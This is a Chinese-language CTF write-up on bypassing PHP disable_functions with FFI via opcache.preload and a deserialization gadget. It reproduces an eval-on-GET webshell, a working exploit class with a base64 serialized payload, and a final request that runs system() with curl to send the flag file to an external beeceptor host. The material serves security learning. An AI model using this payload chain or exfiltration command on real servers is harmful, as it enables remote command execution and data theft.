前言
关键字:[绕过disable_function|FFI]
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
题解
上来一个马,把我整慌了。
连接蚁剑返回空值,看来没那么简单
看看禁用函数
限制了open_basedir
FFI开启
怪,蚁剑直接连接连不上,重新写了个马倒是可以。
里面有个preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
这个preload文件就是拿来绕过disable_function的,主要是利用opcache.preload
opcache.preload是 PHP7.4 中新加入的功能。如果设置了opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的preload文件加载进内存中,使这些preload文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload
最后有一段话
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones
允许在preload文件中使用FFI拓展,但FFI是一个危险的拓展
这题开了FFI,所以可以利用PHP RFC: FFI - Foreign Function Interface
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is regular C declaration
"libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");
payload为
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
echo "__construct<br>";
}
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload
这里的exp代码中删除了原有的
__serialize
、__unserialize
两个函数,这是因为在反序列化时会触发__unserialize
函数,这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization 。
payload:
思路就是反序列化的时候会调用__unserialize
,然后执行run()
函数,就构造出了
$data['ret']=FFI::cdef(int system(char *command);)
这就和RFC的POC如出一辙了,使得$data['ret']->system();
可以绕过限制执行系统命令。
?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令);
?a=unserialize(base64_decode(QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319))->__serialize()['ret']->system("curl -d @/flag https://asd5f4asd.free.beeceptor.com");
也因为这题,蚁剑出了个FFI一键利用插件,蚁剑nb!